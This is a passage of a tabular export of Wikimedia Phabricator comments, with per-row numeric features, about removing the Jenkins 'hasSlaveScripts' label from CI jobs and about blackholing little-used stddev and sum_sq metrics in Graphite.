```",,,1435834170,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5555555555555554,0.6666666666666666,"Current status:
``CODE``"
484943,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222123 merged by jenkins-bot:
Migrate {name}-phpcs-HEAD to Precise labs

[[https://gerrit.wikimedia.org/r/222123]]",,,1435763598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.739130434782609,0.8695652173913043,"Change 222123 merged by jenkins-bot:
Migrate {name}-phpcs-HEAD to Precise labs

[[GERRIT_URL]]"
484937,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222123 had a related patch set uploaded (by Hashar):
Migrate {name}-phpcs-HEAD to Precise labs

[[https://gerrit.wikimedia.org/r/222123]]
",,,1435762517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 222123 had a related patch set uploaded (by Hashar):
Migrate {name}-phpcs-HEAD to Precise labs

[[GERRIT_URL]]
"
484915,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222115 merged by jenkins-bot:
Migrate jshint/jsonlint/jslint jobs to wmflabs

[[https://gerrit.wikimedia.org/r/222115]]",,,1435759537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 222115 merged by jenkins-bot:
Migrate jshint/jsonlint/jslint jobs to wmflabs

[[GERRIT_URL]]"
484910,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222115 had a related patch set uploaded (by Hashar):
Migrate jshint/jsonlint/jslint jobs to wmflabs

[[https://gerrit.wikimedia.org/r/222115]]
",,,1435759104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.793103448275862,0.8620689655172413,"Change 222115 had a related patch set uploaded (by Hashar):
Migrate jshint/jsonlint/jslint jobs to wmflabs

[[GERRIT_URL]]
"
472942,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217504 merged by jenkins-bot:
Migrate pplint-HEAD to labs and rm hasSlaveScripts

[[https://gerrit.wikimedia.org/r/217504]]",,,1434029057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"Change 217504 merged by jenkins-bot:
Migrate pplint-HEAD to labs and rm hasSlaveScripts

[[GERRIT_URL]]"
472938,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217504 had a related patch set uploaded (by Hashar):
Migrate pplint-HEAD to labs and rm hasSlaveScripts

[[https://gerrit.wikimedia.org/r/217504]]
",,,1434028931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8620689655172415,0.896551724137931,"Change 217504 had a related patch set uploaded (by Hashar):
Migrate pplint-HEAD to labs and rm hasSlaveScripts

[[GERRIT_URL]]
"
472933,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217503 merged by jenkins-bot:
Migrate perllint to labs and rm hasSlaveScripts

[[https://gerrit.wikimedia.org/r/217503]]",,,1434028677,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 217503 merged by jenkins-bot:
Migrate perllint to labs and rm hasSlaveScripts

[[GERRIT_URL]]"
472930,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217503 had a related patch set uploaded (by Hashar):
Migrate perllint to labs and rm hasSlaveScripts

[[https://gerrit.wikimedia.org/r/217503]]
",,,1434028539,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.037037037037037,0.8888888888888888,"Change 217503 had a related patch set uploaded (by Hashar):
Migrate perllint to labs and rm hasSlaveScripts

[[GERRIT_URL]]
"
472536,"Remove use of label ""hasSlaveScripts"" in jobs","In the past, `hasSlaveScripts` was the only label to ensure jobs run on production slaves (without hardcoding individual slave hosts). We now have `productionSlaves` for this purpose.

Any jobs left on production slaves after T86659 should probably be tied with `gallium`. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves.",,,1433972993,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,3.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,4.0,1.0,8.0,15.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.263888888888889,0.7638888888888888,"In the past, CODE was the only label to ensure jobs run on production slaves (without hardcoding individual slave hosts). We now have CODE for this purpose.

Any jobs left on production slaves after T86659 should probably be tied with CODE. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves."
472535,"Remove use of label ""hasSlaveScripts"" in jobs","`hasSlaveScripts` also to be the only label for production slaves (without hardcoding individual slave hosts). We now have `productionSlaves` for this purpose.

Any jobs left on production slaves after T86659 should probably be tied with `gallium`. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves.",,,1433972971,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,3.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,2.0,11.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.363636363636363,0.7575757575757576,"CODE also to be the only label for production slaves (without hardcoding individual slave hosts). We now have CODE for this purpose.

Any jobs left on production slaves after T86659 should probably be tied with CODE. Aside from things specifically running on gallium (e.g. publisher) I don't think we have any use cases for production slaves."
472097,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217249 merged by jenkins-bot:
Migrate operations-puppet-{pep8,test} to labs

[[https://gerrit.wikimedia.org/r/217249]]",,,1433935130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.8636363636363636,"Change 217249 merged by jenkins-bot:
Migrate operations-puppet-{pep8,test} to labs

[[GERRIT_URL]]"
472096,"Remove use of label ""hasSlaveScripts"" in jobs","Change 217249 had a related patch set uploaded (by Hashar):
Migrate operations-puppet-{pep8,test} to labs

[[https://gerrit.wikimedia.org/r/217249]]
",,,1433934909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.8888888888888888,"Change 217249 had a related patch set uploaded (by Hashar):
Migrate operations-puppet-{pep8,test} to labs

[[GERRIT_URL]]
"
472095,"Remove use of label ""hasSlaveScripts"" in jobs","`grep -l hasSlaveScripts` yields jobs still having it. Updating task details with the list.
",,,1433934804,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.9333333333333333,"CODE yields jobs still having it. Updating task details with the list.
"
472092,"Remove use of label ""hasSlaveScripts"" in jobs","`grep -l hasSlaveScripts` yields jobs still having it.

That is all the -jslint jobs and:

```
erblint-HEAD
jshint
jsonlint
mediawiki-core-phpcs
mediawiki-core-phpcs-HEAD
mediawiki-core-whitespaces
mwext-AutomaticBoardWelcome-phpcs-HEAD
mwext-Interwiki-phpcs-HEAD
mwext-JSBreadCrumbs-phpcs-HEAD
mwext-Mantle-phpcs-HEAD
mwext-OnlineStatus-phpcs-HEAD
mwext-Sentry-phpcs-HEAD
mwext-SyntaxHighlight_GeSHi-phpcs-HEAD
mwext-Translate-phpcs-HEAD
mwext-TranslationNotifications-phpcs-HEAD
mwext-TwnMainPage-phpcs-HEAD
mwext-UniversalLanguageSelector-phpcs-HEAD
mwext-UploadWizard-phpcs-HEAD
mwext-Vector-phpcs-HEAD
mwext-WebFonts-phpcs-HEAD
mwext-WhitelistPages-phpcs-HEAD
mwext-WikiGrok-phpcs-HEAD
mwext-cldr-phpcs-HEAD
operations-puppet-pep8
operations-puppet-test
parsoidsvc-php-parsertests
perllint
pplint-HEAD
```",,,1433934581,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0454545454545454,0.7272727272727273,"CODE yields jobs still having it.

That is all the -jslint jobs and:

``CODE``"
472091,"Remove use of label ""hasSlaveScripts"" in jobs",Yeah that is a leftover of when the slaves did not have a clone of integration/jenkins.git.   It is part of {T86659},,,1433934520,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,11.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,3.5555555555555554,0.8518518518518519,Yeah that is a leftover of when the slaves did not have a clone of integration/jenkins.git.   It is part of {T86659}
101759,Ruthlessly eliminate impractical metrics from Graphite,"I argue that the principal challenge we face in monitoring for the foreseeable future is basic coverage: representing the state of every important service using metrics which are clear, concise, representative, understandable, well-defined, and actionable. This is a big job and it will take us a while to get there. In the interim, we should be ruthless about eliminating metrics which are vague, overspecialized, or redundant. Eliminating them will not only relieve pressure on our monitoring infrastructure, but also aid in discoverability by reducing the amount of clutter one has to wade through to get to the essential metrics.

I propose we blackhole the following metrics in Graphite:

* `*.sum_sq` (sum of squares) -- too specialized
* `*.stddev` (standard deviation) -- too specialized
* `*.upper` -- too vague
* `*.lower` -- too vague

When considering this proposal, please resist the temptation to think to yourself ""I am a smart person and know how to use standard deviation!"". Instead, consider if any of the dashboards you have created display this metric, and take that as an indicator of the utility of this measure.",Medium,50.0,1433791939,1436780017.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_description,resolved,True,c3,1,True,False,True,-4,True,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,7.333333333333333,2.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,2.0,4.666666666666667,9.333333333333334,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,4.0,2.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,1.0,0.0,0.0,0.3333333333333333,11.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,5.333333333333333,2.0,5.0,1.6666666666666667,2.3333333333333335,9.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.333333333333333,9.333333333333334,0.3333333333333333,0.0,1.0,0.0,4.333333333333333,0.0,1.6666666666666667,1.6666666666666667,1.0,2.3333333333333335,0.0,0.0,0.0,4.317097919837646,0.7602739726027398,"I argue that the principal challenge we face in monitoring for the foreseeable future is basic coverage: representing the state of every important service using metrics which are clear, concise, representative, understandable, well-defined, and actionable. This is a big job and it will take us a while to get there. In the interim, we should be ruthless about eliminating metrics which are vague, overspecialized, or redundant. Eliminating them will not only relieve pressure on our monitoring infrastructure, but also aid in discoverability by reducing the amount of clutter one has to wade through to get to the essential metrics.

I propose we blackhole the following metrics in Graphite:

* CODE (sum of squares) -- too specialized
* CODE (standard deviation) -- too specialized
* CODE -- too vague
* CODE -- too vague

When considering this proposal, please resist the temptation to think to yourself ""I am a smart person and know how to use standard deviation!"". Instead, consider if any of the dashboards you have created display this metric, and take that as an indicator of the utility of this measure."
490763,Ruthlessly eliminate impractical metrics from Graphite,"we're blackholing `stddev` and `sum_sq`, resolving",,,1436780017,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.625,0.875,"we're blackholing CODE and CODE, resolving"
471794,Ruthlessly eliminate impractical metrics from Graphite,"Change 214576 merged by Filippo Giunchedi:
carbon-c-relay: blackhole stddev and sum_sq

[[https://gerrit.wikimedia.org/r/214576]]",,,1433888513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.8333333333333334,"Change 214576 merged by Filippo Giunchedi:
carbon-c-relay: blackhole stddev and sum_sq

[[GERRIT_URL]]"
471195,Ruthlessly eliminate impractical metrics from Graphite,"Nope, what I actually wanted was sum :)",,,1433811442,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,"Nope, what I actually wanted was sum :)"
471145,Ruthlessly eliminate impractical metrics from Graphite,"Change 214576 had a related patch set uploaded (by Ori.livneh):
carbon-c-relay: blackhole stddev and sum_sq

[[https://gerrit.wikimedia.org/r/214576]]
",,,1433802652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2u2pyyhtq4qvtvjwt5az,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.8666666666666667,"Change 214576 had a related patch set uploaded (by Ori.livneh):
carbon-c-relay: blackhole stddev and sum_sq

[[GERRIT_URL]]
"
471061,Ruthlessly eliminate impractical metrics from Graphite,"We are using upper and lower in a couple of places (node heap monitoring, for example), so I'm not in favor of that part. The others sound okay, but then I'm wondering if it's really worth it. Based on what I have seen, we could probably win more by

1) buying more / bigger SSDs to alleviate the disk space issue, and
